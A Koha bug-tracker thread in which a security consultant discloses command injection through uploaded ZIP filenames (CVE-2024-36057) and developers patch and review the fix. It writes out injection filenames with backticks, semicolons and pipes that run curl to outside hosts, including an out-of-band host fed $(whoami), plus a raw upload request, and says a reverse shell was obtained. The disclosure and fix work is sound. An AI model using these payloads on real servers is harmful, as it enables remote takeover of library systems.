Created attachment 166426 [details] RCE - Reverse Shell on Koha Library Server Hi - I am a security consultant at Prism Infosec and have come across an arbitrary code execution vulnerability within the component "upload-cover-image.pl". https://github.com/Koha-Community/Koha/blob/main/tools/upload-cover-image.pl Line 142: qx/unzip $filename -d $dirname/; Here, it is possible to submit malicious characters (backticks `) within the filename capable of command injection during ZIP file upload. Example Filename: execute`curl domain.com`.zip The above is then executed after clicking "Process Images". Command injection occurs because the filename is not sanitised, and the backend attempts to execute the following: unzip execute`curl domain.com`.zip -d $dirname/ The below request was issued to inject system commands within a filename: POST /cgi-bin/koha/tools/upload-file.pl?temp=1 HTTP/1.1 Host: 192.168.178.141:7002 -- SNIP -- Connection: close ------WebKitFormBoundaryP82Da5V6eaQOuBUT Content-Disposition: form-data; name="file"; filename="execute`curl $(whoami).j2m9fak6j3xqn18qalko75unieo5c00p.oastify.com`.zip" Content-Type: application/x-zip-compressed As such, it is possible to remotely execute commands on the target machine via malicious filenames after uploading and clicking "Process Images". In the screenshot attached, I have executed a malicious filename which established a reverse shell on the server, ultimately compromising it.
Thanks heaps for the report Karolis. We'll work on a fix now.
Working on this now
The problem here comes in upload-file.pl. The coverimage one just grabs the file that has already been uploaded. It's the same with patron images. So if we fix writing the filename correctly in upload-file.pl we should be able to fix it in the places where its processed.
Created attachment 166444 [details] Bug: 36818 Escape characters in file names uploaded To test: 1/ create a file named something like 'execute`curl blog.bigballofwax.co.nz`.zip' Where the domain is one you can watch the logs from 2/ Upload this file as a cover image 3/ Check /var/lib/koha/sitename/tmp/koha_sitename/ and see unescaped filenames 4/ Choose process, check the logs of the webserver see the connection has been made 5/ Apply the patch 5/ Repeat 2 & 3 and see the filename is now escaped 6/ Choose process and check no errors but no no remote execution occurs 7/ Test uploading actual zip file and images still works
Please if people want to escape more characters add to the regexp. But this will stop the backticks making things executable at least.
Thanks for looking into this - I have requested a CVE ID for this. I'll be happy to re-test this issue and be kept in the loop. I may also have additional security vulnerabilities to report.
Also - just wanted to add that only sanitising backticks (`) will not resolve the vulnerability. I have been able to get RCE with the below filenames too: filename=";curl domain.com" filename="|curl domain.com" Semicolons (;) and pipes (|) can also be leveraged for command injection.
Yep ill do a new patch that allowlists instead of stripping bad.
Created attachment 166477 [details] [review] Bug: 36818 Escape characters in file names uploaded To test: 1/ create a file named something like 'execute`curl blog.bigballofwax.co.nz`.zip' Where the domain is one you can watch the logs from 2/ Upload this file as a cover image 3/ Check /var/lib/koha/sitename/tmp/koha_sitename/ and see unescaped filenames 4/ Choose process, check the logs of the webserver see the connection has been made 5/ Apply the patch 5/ Repeat 2 & 3 and see the filename is now escaped 6/ Choose process and check no errors but no no remote execution occurs 7/ Test uploading actual zip file and images still works
The content of attachment 166444 [details] has been deleted
This looks like a decent approach to me, I'll do some testing today.
Any update on this ?
(In reply to Karolis Narvilas from comment #12) > Any update on this ? I've posted it in our internal security group. Hope we can get a SO and QA for it soon.
Created attachment 166621 [details] Bug: 36818 Escape characters in file names uploaded To test: 1/ create a file named something like 'execute`curl blog.bigballofwax.co.nz`.zip' Where the domain is one you can watch the logs from 2/ Upload this file as a cover image 3/ Check /var/lib/koha/sitename/tmp/koha_sitename/ and see unescaped filenames 4/ Choose process, check the logs of the webserver see the connection has been made 5/ Apply the patch 5/ Repeat 2 & 3 and see the filename is now escaped 6/ Choose process and check no errors but no no remote execution occurs 7/ Test uploading actual zip file and images still works Work as suggested
Created attachment 166623 [details] [review] Bug: 36818 Escape characters in file names uploaded To test: 1/ create a file named something like 'execute`curl blog.bigballofwax.co.nz`.zip' Where the domain is one you can watch the logs from 2/ Upload this file as a cover image 3/ Check /var/lib/koha/sitename/tmp/koha_sitename/ and see unescaped filenames 4/ Choose process, check the logs of the webserver see the connection has been made 5/ Apply the patch 5/ Repeat 2 & 3 and see the filename is now escaped 6/ Choose process and check no errors but no no remote execution occurs 7/ Test uploading actual zip file and images still works Works as suggested
Created attachment 166624 [details] [review] Bug: 36818 Escape characters in file names uploaded To test: 1/ create a file named something like 'execute`curl blog.bigballofwax.co.nz`.zip' Where the domain is one you can watch the logs from 2/ Upload this file as a cover image 3/ Check /var/lib/koha/sitename/tmp/koha_sitename/ and see unescaped filenames 4/ Choose process, check the logs of the webserver see the connection has been made 5/ Apply the patch 5/ Repeat 2 & 3 and see the filename is now escaped 6/ Choose process and check no errors but no no remote execution occurs 7/ Test uploading actual zip file and images still works Signed-off-by: Amit Gupta <amit.gupta@informaticsglobal.com> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Passing QA here.. all working as I'd expect, no regressions spotted.
Does it make sense to have the decode and the substitution right after? $filename= Encode::decode_utf8( $filename ); # UTF8 chars in filename + $filename =~ s/[^A-Za-z0-9\-\.]//g; Also I think we should provide tests for this kind of changes. Marcel, can we have your input on this please?
(In reply to Jonathan Druart from comment #18) > Does it make sense to have the decode and the substitution right after? > > $filename= Encode::decode_utf8( $filename ); # UTF8 chars in filename > + $filename =~ s/[^A-Za-z0-9\-\.]//g; > > Also I think we should provide tests for this kind of changes. > > Marcel, can we have your input on this please? Will have a look
Did someone already identify the exact place where the code is actually executed?
(In reply to Marcel de Rooy from comment #20) > Did someone already identify the exact place where the code is actually > executed? Reading about unzip now.
============================================ Line 142 - upload-cover-image.pl qx/unzip $filename -d $dirname/; ============================================ Once you inject system commands in the filename and click "Process Images" E.g Filename=dummy`curl domain.com`.zip The OS will attempt to execute: qx/unzip dummy`curl domain.com`.zip -d $dirname/; Commands between backticks will get executed in the backend when unzipping.
(In reply to Karolis Narvilas from comment #22) > ============================================ > > Line 142 - upload-cover-image.pl > > qx/unzip $filename -d $dirname/; > > ============================================ > > Once you inject system commands in the filename and click "Process Images" > > E.g Filename=dummy`curl domain.com`.zip > > The OS will attempt to execute: > > qx/unzip dummy`curl domain.com`.zip -d $dirname/; > > Commands between backticks will get executed in the backend when unzipping. Ah yes. Thanks. Just came across the qx thing.
(In reply to Jonathan Druart from comment #18) > Does it make sense to have the decode and the substitution right after? > > $filename= Encode::decode_utf8( $filename ); # UTF8 chars in filename > + $filename =~ s/[^A-Za-z0-9\-\.]//g; I understand the question. We could remove a lot of the decode right after. But decoding before further processing seems to be the correct order formally. > Also I think we should provide tests for this kind of changes. Tests would be fine of course. But we should not wait too long here. I would push now, not missing a release.
Fixed the patch title.
Hi all - This issue has just been assigned CVE-2024-36057 by CVE MITRE - if possible, please reference this ID in the next release announcement (assuming this issue is fixed in that release) Many thanks - let me know if you have any questions :)
Should we generalize the bug description a bit since we now fixed the issue on a higher level (not in the .pl file mentioned)?
(In reply to Jonathan Druart from comment #18) > Does it make sense to have the decode and the substitution right after? > > $filename= Encode::decode_utf8( $filename ); # UTF8 chars in filename > + $filename =~ s/[^A-Za-z0-9\-\.]//g; > > Also I think we should provide tests for this kind of changes. > > Marcel, can we have your input on this please? It looks to me like this patch doesn't include underscores and a number of characters as valid filenames. Trying to sanitize filenames can be tricky. -- In bug 34349, we first take the user-inputted string and validate it. Of course sometimes a string that is valid in an application can still be a malicious string in the shell. So we wrap the final string in single quotes and escape any single quotes in the string. I think that would be the safest from a security perspective while also allowing the full range of acceptable filenames for the OS.
(In reply to David Cook from comment #28) > It looks to me like this patch doesn't include underscores and a number of > characters as valid filenames. > > Trying to sanitize filenames can be tricky. Disregard this part of my comment. I see that we're doing a s// and not a m//. Nevermind. That's fine. A bit suboptimal but it won't cause silent errors. It'll move us farther along. -- I'd still suggest escaping the string passed to unzip just to be on the safe side, but that could be on a separate issue...
Thanks - is there an approximate timeline for when these fixes will be published ?
(In reply to Karolis Narvilas from comment #30) > Thanks - is there an approximate timeline for when these fixes will be > published ? Karolis, very soon. The release team is currently coordinating a security release that will include this fix in versions 24.05.01, 23.11.06, 23.05.12 ,22.11.18 ,22.05.22. Those versions, and packages for them, will be available in a few days.
Missed the wrong commit message... Bug: ... Pushed for 24.11! Well done everyone, thank you!
Reviewed and nothing to document for the manual.